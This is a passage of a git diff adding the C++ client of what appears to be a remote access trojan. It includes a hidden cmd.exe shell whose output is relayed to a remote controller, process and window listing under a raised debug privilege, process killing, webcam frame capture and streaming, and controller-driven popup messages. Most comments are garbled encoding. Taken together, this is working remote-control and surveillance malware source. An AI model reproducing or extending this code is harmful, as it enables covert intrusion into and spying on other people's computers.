//C:\windows\system32\cmd.exe + strcat(strShellPath,"\\cmd.exe"); + + //1 Cmd Input Output Ҫ͹ܵӦ + //2 Cmd Hide + + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi = {0}; //CreateProcess + + memset((void *)&si, 0, sizeof(si)); + memset((void *)&pi, 0, sizeof(pi)); + + si.cb = sizeof(STARTUPINFO); //Ҫ + + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdInput = m_hReadPipeShell; //ֵܵ + si.hStdOutput = si.hStdError = m_hWritePipeShell; + + si.wShowWindow = SW_HIDE; + + //Cmd + //3 ̳ + + if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, + NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) + { + CloseHandle(m_hReadPipeHandle); + CloseHandle(m_hWritePipeHandle); + CloseHandle(m_hReadPipeShell); + CloseHandle(m_hWritePipeShell); + return; + } + + m_hShellProcessHandle = pi.hProcess; //Cmd̵Ľ̾߳̾ + m_hShellThreadHandle = pi.hThread; + + BYTE bToken = TOKEN_SHELL_START; //ͷļ Common.h + m_ClientObject->OnServerSending((char*)&bToken, 1); + + WaitForDialogOpen(); + + m_hThreadRead = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL); +} + +DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) +{ + unsigned long dwReturn = 0; + char szBuffer[1024] = {0}; + DWORD dwTotal = 0; + CShellManager *This = (CShellManager*)lParam; + while (bStarting) + { + Sleep(100); + //Ƿ ݵĴСǶ + while (PeekNamedPipe(This->m_hReadPipeHandle, // + szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) + { + //ûݾѭ + if (dwReturn <= 0) + break; + memset(szBuffer, 0, sizeof(szBuffer)); + LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal); + //ȡܵ + ReadFile(This->m_hReadPipeHandle, + szTotalBuffer, dwTotal, &dwReturn, NULL); + + This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn); + + LocalFree(szTotalBuffer); + } + } + cout<<"ReadPipe߳˳"< 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "IOCPClient.h" + +class CShellManager : public CManager +{ +public: + CShellManager(IOCPClient* ClientObject, int n); + + HANDLE m_hReadPipeHandle; + HANDLE m_hWritePipeHandle; + HANDLE m_hReadPipeShell; + HANDLE m_hWritePipeShell; + + virtual ~CShellManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + + static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam); + + HANDLE m_hThreadRead; + + HANDLE m_hShellProcessHandle; //Cmd̵Ľ̾߳̾ + HANDLE m_hShellThreadHandle; +}; + +#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_) diff --git a/client/StdAfx.cpp b/client/StdAfx.cpp new file mode 100644 index 0000000..44ee16d --- /dev/null +++ b/client/StdAfx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// ClientDll.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/client/StdAfx.h b/client/StdAfx.h new file mode 100644 index 0000000..1671cee --- /dev/null +++ b/client/StdAfx.h @@ -0,0 +1,42 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) +#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +// ڴй©谲װVLDעʹ +#include "vld.h" + +// Insert your headers here +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers + +#include + +// TODO: reference additional headers your program requires here + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) + +#include +#include +#pragma comment(lib, "winmm.lib") + +// ߾ȵ˯ߺ +#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); } + +// ԲnCµȴT(nDz1000) +#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));} + +// CʱȴT(10ms) +#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); } + +// CʱȴT(1ms) +#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); } diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp new file mode 100644 index 0000000..9ebb0d9 --- /dev/null +++ b/client/SystemManager.cpp @@ -0,0 +1,279 @@ +// SystemManager.cpp: implementation of the CSystemManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "SystemManager.h" +#include "Common.h" +#include +using namespace std; +#include +#include + +#pragma comment(lib,"psapi.lib") + +enum +{ + COMMAND_WINDOW_CLOSE, //رմ + COMMAND_WINDOW_TEST, // +}; +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject) +{ + if (bHow==COMMAND_SYSTEM) + { + // + SendProcessList(); + } + else if (bHow==COMMAND_WSLIST) + { + // + SendWindowsList(); + } +} + +VOID CSystemManager::SendProcessList() +{ + LPBYTE szBuffer = GetProcessList(); //õб + if (szBuffer == NULL) + return; + m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); + + szBuffer = NULL; +} + +void CSystemManager::SendWindowsList() +{ + LPBYTE szBuffer = GetWindowsList(); //õб + if (szBuffer == NULL) + return; + + m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //ض˷͵õĻһͷ + LocalFree(szBuffer); +} + +LPBYTE CSystemManager::GetProcessList() +{ + DebugPrivilege(SE_DEBUG_NAME,TRUE); //ȡȨ + + HANDLE hProcess = NULL; + HANDLE hSnapshot = NULL; + PROCESSENTRY32 pe32 = {0}; + pe32.dwSize = sizeof(PROCESSENTRY32); + char szProcessFullPath[MAX_PATH] = {0}; + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); + + DWORD dwOffset = 0; + DWORD dwLength = 0; + DWORD cbNeeded = 0; + HMODULE hModules = NULL; //еһģľ + + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ» + + szBuffer[0] = TOKEN_PSLIST; //עͷ + dwOffset = 1; + + if(Process32First(hSnapshot, &pe32)) //õһ˳жһϵͳǷɹ + { + do + { + //򿪽̲ؾ + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, + FALSE, pe32.th32ProcessID); //Ŀ + + // if ((pe32.th32ProcessID !=0) && + // (pe32.th32ProcessID !=4)) + { + //öٵһģҲǵǰ· + EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); + //õ + DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules, + szProcessFullPath, + sizeof(szProcessFullPath)); + + if (dwReturn==0) + { + strcpy(szProcessFullPath,""); + } + + //ʼռõĻ ǹķ͵ݽṹ + // ˽ռݴС + dwLength = sizeof(DWORD) + + lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; + // ̫С· + if (LocalSize(szBuffer) < (dwOffset + dwLength)) + szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), + LMEM_ZEROINIT|LMEM_MOVEABLE); + + //memcpy򻺳 ݽṹ + //ID++0++0 + //Ϊַ0 β + memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); + dwOffset += sizeof(DWORD); + + memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); + dwOffset += lstrlen(pe32.szExeFile) + 1; + + memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); + dwOffset += lstrlen(szProcessFullPath) + 1; + } + } + while(Process32Next(hSnapshot, &pe32)); //õһ + } + + DebugPrivilege(SE_DEBUG_NAME,FALSE); //ԭȨ + CloseHandle(hSnapshot); //ͷž + return szBuffer; +} + +CSystemManager::~CSystemManager() +{ + cout<<"ϵͳ"< 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "IOCPClient.h" + +class CSystemManager : public CManager +{ +public: + CSystemManager(IOCPClient* ClientObject,BOOL bHow); + virtual ~CSystemManager(); + LPBYTE CSystemManager::GetProcessList(); + VOID CSystemManager::SendProcessList(); + BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength); + LPBYTE CSystemManager::GetWindowsList(); + static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam); + void CSystemManager::SendWindowsList(); + void CSystemManager::TestWindow(LPBYTE szBuffer); +}; + +#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp new file mode 100644 index 0000000..2f62025 --- /dev/null +++ b/client/TalkManager.cpp @@ -0,0 +1,152 @@ +// TalkManager.cpp: implementation of the CTalkManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "TalkManager.h" +#include "Common.h" +#include "resource.h" +#include +#include + +#pragma comment(lib, "WINMM.LIB") +using namespace std; +#define ID_TIMER_POP_WINDOW 1 +#define ID_TIMER_DELAY_DISPLAY 2 +#define ID_TIMER_CLOSE_WINDOW 3 + +#define WIN_WIDTH 120 +#define WIN_HEIGHT 120 +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// +char g_Buffer[0x1000] = {0}; +UINT_PTR g_Event = 0; + +IOCPClient* g_IOCPClientObject = NULL; + +extern HINSTANCE g_hInstance; + +CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + BYTE bToken = TOKEN_TALK_START; //ͷļ Common.h + m_ClientObject->OnServerSending((char*)&bToken, 1); + g_IOCPClientObject = ClientObject; + WaitForDialogOpen(); +} + +CTalkManager::~CTalkManager() +{ + cout<<"Talk "<=0) + { + Height-=5; + MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); + } + else + { + KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); + BYTE bToken = TOKEN_TALKCMPLT; // ͷļ Common.h + g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // ·͵ָ + EndDialog(hDlg,0); + } + break; + } + case ID_TIMER_DELAY_DISPLAY: + { + KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY); + g_Event = ID_TIMER_CLOSE_WINDOW; + SetTimer(hDlg,g_Event, 5, NULL); + break; + } + case ID_TIMER_POP_WINDOW: + { + if(Height<=WIN_HEIGHT) + { + Height+=3; + MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE); + } + else + { + KillTimer(hDlg,ID_TIMER_POP_WINDOW); + g_Event = ID_TIMER_DELAY_DISPLAY; + SetTimer(hDlg,g_Event, 4000, NULL); + } + break; + } + } +} diff --git a/client/TalkManager.h b/client/TalkManager.h new file mode 100644 index 0000000..787cd31 --- /dev/null +++ b/client/TalkManager.h @@ -0,0 +1,28 @@ +// TalkManager.h: interface for the CTalkManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) +#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" + +class CTalkManager : public CManager +{ +public: + CTalkManager(IOCPClient* ClientObject, int n); + virtual ~CTalkManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + + static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg, + WPARAM wParam, LPARAM lParam); + + static VOID OnInitDialog(HWND hDlg); + static VOID OnDlgTimer(HWND hDlg); +}; + +#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) diff --git a/client/TestRun.rc b/client/TestRun.rc new file mode 100644 index 0000000..16cd884 Binary files /dev/null and b/client/TestRun.rc differ diff --git a/client/TestRun.vcxproj b/client/TestRun.vcxproj new file mode 100644 index 0000000..4566b06 --- /dev/null +++ b/client/TestRun.vcxproj @@ -0,0 +1,78 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3} + TestRun + + + + Application + true + v110 + MultiByte + + + Application + false + v110 + true + MultiByte + + + + + + + + + + + + + + + Level3 + Disabled + MultiThreadedDebug + + + true + + + + + Level3 + MaxSpeed + true + true + MultiThreaded + + + true + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/client/TestRun.vcxproj.filters b/client/TestRun.vcxproj.filters new file mode 100644 index 0000000..8c08960 --- /dev/null +++ b/client/TestRun.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + + + 头文件 + + + + + 资源文件 + + + \ No newline at end of file diff --git a/client/VideoCodec.h b/client/VideoCodec.h new file mode 100644 index 0000000..5d98d46 --- /dev/null +++ b/client/VideoCodec.h @@ -0,0 +1,135 @@ +#if !defined(AFX_VIDEOCODEC_H_INCLUDED) +#define AFX_VIDEOCODEC_H_INCLUDED + +#include + +class CVideoCodec +{ + COMPVARS m_cv; + HIC m_hIC; + BITMAPINFO* m_lpbmiInput; + BITMAPINFO m_bmiOutput; + +public: + + bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) + { + if (lpbmi == NULL) + return false; + + m_lpbmiInput = lpbmi; + + ZeroMemory(&m_cv, sizeof(m_cv)); + m_cv.cbSize = sizeof(m_cv); + m_cv.dwFlags = ICMF_COMPVARS_VALID; + m_cv.hic = m_hIC; + m_cv.fccType = ICTYPE_VIDEO; + m_cv.fccHandler = fccHandler; + m_cv.lpbiOut = NULL; + m_cv.lKey = 10; + m_cv.lDataRate = 6; + m_cv.lQ = ICQUALITY_HIGH; + + m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); + + if (m_hIC == NULL) + { + return false; + } + + ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); + // ֤ + ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); + + m_cv.hic = m_hIC; + m_cv.dwFlags = ICMF_COMPVARS_VALID; + + if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) + { + return false; + } + + ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput); + + return true; + } + + bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) + { + if(!pin || !pout ||!m_hIC) + return false; + if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) + return false; + + if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; + + return true; + } + + bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) + { + BYTE *p; + long s = 1; + BOOL k = true; + if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) + return false; + p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); + + if (!p) return false; + if (lenr) *lenr = s; + if (pKey) *pKey = k; + + CopyMemory(pout, p, s); + + return true; + } + + CVideoCodec() + { + m_lpbmiInput = NULL; + } + + virtual ~CVideoCodec() + { + // No init yet or init error + if (m_hIC == NULL) + return; + ICDecompressEnd(m_hIC); + ICSeqCompressFrameEnd(&m_cv); + ICCompressorFree(&m_cv); + ICClose(m_hIC); + } + + int MyEnumCodecs(int *fccHandler, char *strName) + { + static int i = 0; + int nRet = 1; + HIC hIC; + ICINFO icInfo; + + if (fccHandler == NULL) + return 0; + + if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) + { + i = 0; + return 0; + } + hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); + + if (hIC) + { + ICGetInfo(hIC, &icInfo, sizeof(icInfo)); + *fccHandler = icInfo.fccHandler; + //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII + if (strName != NULL) + wcstombs(strName, icInfo.szDescription, 256); + } + else nRet = -1; + + ICClose(hIC); + i++; + return nRet; + } +}; +#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED) \ No newline at end of file diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp new file mode 100644 index 0000000..88dd167 --- /dev/null +++ b/client/VideoManager.cpp @@ -0,0 +1,180 @@ +// VideoManager.cpp: implementation of the CVideoManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "VideoManager.h" +#include "Common.h" +#include + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject) +{ + m_bIsWorking = TRUE; + + m_bIsCompress = false; + m_pVideoCodec = NULL; + m_fccHandler = 1129730893; + + m_CapVideo.Open(0,0); // + + m_hWorkThread = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL); +} + + +DWORD CVideoManager::WorkThread(LPVOID lParam) +{ + CVideoManager *This = (CVideoManager *)lParam; + static DWORD dwLastScreen = GetTickCount(); + + if (This->Initialize()) //תInitialize + { + This->m_bIsCompress=true; //ʼɹÿѹ + } + + This->SendBitMapInfor(); //bmpλͼṹ + // ȿƶ˶Ի + + This->WaitForDialogOpen(); + + while (This->m_bIsWorking) + { + // ٶ + if ((GetTickCount() - dwLastScreen) < 150) + Sleep(100); + + dwLastScreen = GetTickCount(); + This->SendNextScreen(); //ûѹصĴˣǵsendNextScreen + } + + This->Destroy(); + std::cout<<"CVideoManager WorkThread end\n"; + + return 0; +} + +CVideoManager::~CVideoManager() +{ + InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); + + WaitForSingleObject(m_hWorkThread, INFINITE); + CloseHandle(m_hWorkThread); + std::cout<<"CVideoManager ~CVideoManager \n"; + if (m_pVideoCodec) //ѹ + { + delete m_pVideoCodec; + m_pVideoCodec = NULL; + } +} + +void CVideoManager::Destroy() +{ + std::cout<<"CVideoManager Destroy \n"; + if (m_pVideoCodec) //ѹ + { + delete m_pVideoCodec; + m_pVideoCodec = NULL; + } +} + +void CVideoManager::SendBitMapInfor() +{ + DWORD dwBytesLength = 1 + sizeof(BITMAPINFO); + LPBYTE szBuffer = new BYTE[dwBytesLength]; + if (szBuffer == NULL) + return; + + szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ + memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); + m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); + delete [] szBuffer; +} + +void CVideoManager::SendNextScreen() +{ + DWORD dwBmpImageSize=0; + LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB(); + // token + IsCompress + m_fccHandler + DIB + int nHeadLen = 1 + 1 + 4; + + UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage; + LPBYTE lpBuffer = new BYTE[nBufferLen]; + + lpBuffer[0] = TOKEN_WEBCAM_DIB; + lpBuffer[1] = m_bIsCompress; //ѹ + + memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //ォƵѹдҪ͵Ļ + + UINT nPacketLen = 0; + if (m_bIsCompress && m_pVideoCodec) //жϣǷѹѹǷʼɹɹѹ + { + int nCompressLen = 0; + //ѹƵ + bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB, + m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen, + &nCompressLen, NULL); + if (!nCompressLen) + { + // some thing error + delete [] lpBuffer; + return; + } + //¼㷢ݰĴС ʣ¾Ƿˣǵض˿һƵѹô + //ض˵void CVideoDlg::OnReceiveComplete(void) + nPacketLen = nCompressLen + nHeadLen; + } + else + { + //ѹ Զ + memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize); + nPacketLen = dwBmpImageSize+ nHeadLen; + } + m_CapVideo.SendEnd(); //copy send + + m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen); + + delete [] lpBuffer; +} + + +VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + switch (szBuffer[0]) + { + case COMMAND_NEXT: + { + NotifyDialogIsOpen(); + break; + } + } +} + +BOOL CVideoManager::Initialize() +{ + BOOL bRet = TRUE; + + if (m_pVideoCodec!=NULL) + { + delete m_pVideoCodec; + m_pVideoCodec=NULL; + } + if (m_fccHandler==0) //ѹ + { + bRet= FALSE; + return bRet; + } + m_pVideoCodec = new CVideoCodec; + //ʼƵѹ עѹ m_fccHandler(캯в鿴) + if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) + { + delete m_pVideoCodec; + bRet=FALSE; + // NULL, ʱжǷΪNULLжǷѹ + m_pVideoCodec = NULL; + } + return bRet; +} diff --git a/client/VideoManager.h b/client/VideoManager.h new file mode 100644 index 0000000..22c9231 --- /dev/null +++ b/client/VideoManager.h @@ -0,0 +1,40 @@ +// VideoManager.h: interface for the CVideoManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_) +#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "CaptureVideo.h" +#include "VideoCodec.h" + +class CVideoManager : public CManager +{ +public: + CVideoManager(IOCPClient* ClientObject, int n) ; + virtual ~CVideoManager(); + + BOOL m_bIsWorking; + HANDLE m_hWorkThread; + + void CVideoManager::SendBitMapInfor(); + void CVideoManager::SendNextScreen(); + static DWORD WorkThread(LPVOID lParam); + + CCaptureVideo m_CapVideo; + VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength); + BOOL CVideoManager::Initialize(); + + DWORD m_fccHandler; + bool m_bIsCompress; + + CVideoCodec *m_pVideoCodec; //ѹ + void CVideoManager::Destroy(); +}; + +#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_) diff --git a/client/d3drm.h b/client/d3drm.h new file mode 100644 index 0000000..e2c82f3 --- /dev/null +++ b/client/d3drm.h @@ -0,0 +1,94 @@ +/* $Revision: 1.2 $ */ +#ifndef _LCC__D3DRM_H__ +#define _LCC__D3DRM_H__ +#include "ddraw.h" +#include "d3drmobj.h" +typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG); +DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +WIN_TYPES(IDirect3DRM, DIRECT3DRM); +STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM); +#undef INTERFACE +#define INTERFACE IDirect3DRM +DECLARE_INTERFACE_(IDirect3DRM, IUnknown) +{ + IUNKNOWN_METHODS(PURE); + + STDMETHOD(CreateObject) + (THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE; + STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE; + STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE; + STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE; + STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE; + STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE; + STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE; + STDMETHOD(CreateLightRGB) + (THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE; + STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE; + STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(CreateDeviceFromSurface) + ( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD, + LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE * + ) PURE; + STDMETHOD(CreateDeviceFromD3D) + ( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev, + LPDIRECT3DRMDEVICE * + ) PURE; + STDMETHOD(CreateDeviceFromClipper) + ( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, + int width, int height, LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(CreateShadow) + ( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT, + D3DVALUE px, D3DVALUE py, D3DVALUE pz, + D3DVALUE nx, D3DVALUE ny, D3DVALUE nz, + LPDIRECT3DRMVISUAL * + ) PURE; + STDMETHOD(CreateViewport) + ( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD, + DWORD, DWORD, LPDIRECT3DRMVIEWPORT * + ) PURE; + STDMETHOD(CreateWrap) + ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME, + D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, + D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, + D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, + D3DVALUE ou, D3DVALUE ov, + D3DVALUE su, D3DVALUE sv, + LPDIRECT3DRMWRAP * + ) PURE; + STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE; + STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE; + STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE; + STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return); + STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE; + STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE; + STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE; + STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE; + STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE; + STDMETHOD(Load) + ( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS, + D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID, + LPDIRECT3DRMFRAME + ) PURE; + STDMETHOD(Tick) (THIS_ D3DVALUE) PURE; +}; +#define D3DRM_OK DD_OK +#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781) +#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782) +#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783) +#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784) +#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785) +#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786) +#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787) +#define D3DRMERR_BADFILE MAKE_DDHRESULT(788) +#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789) +#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790) +#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791) +#define 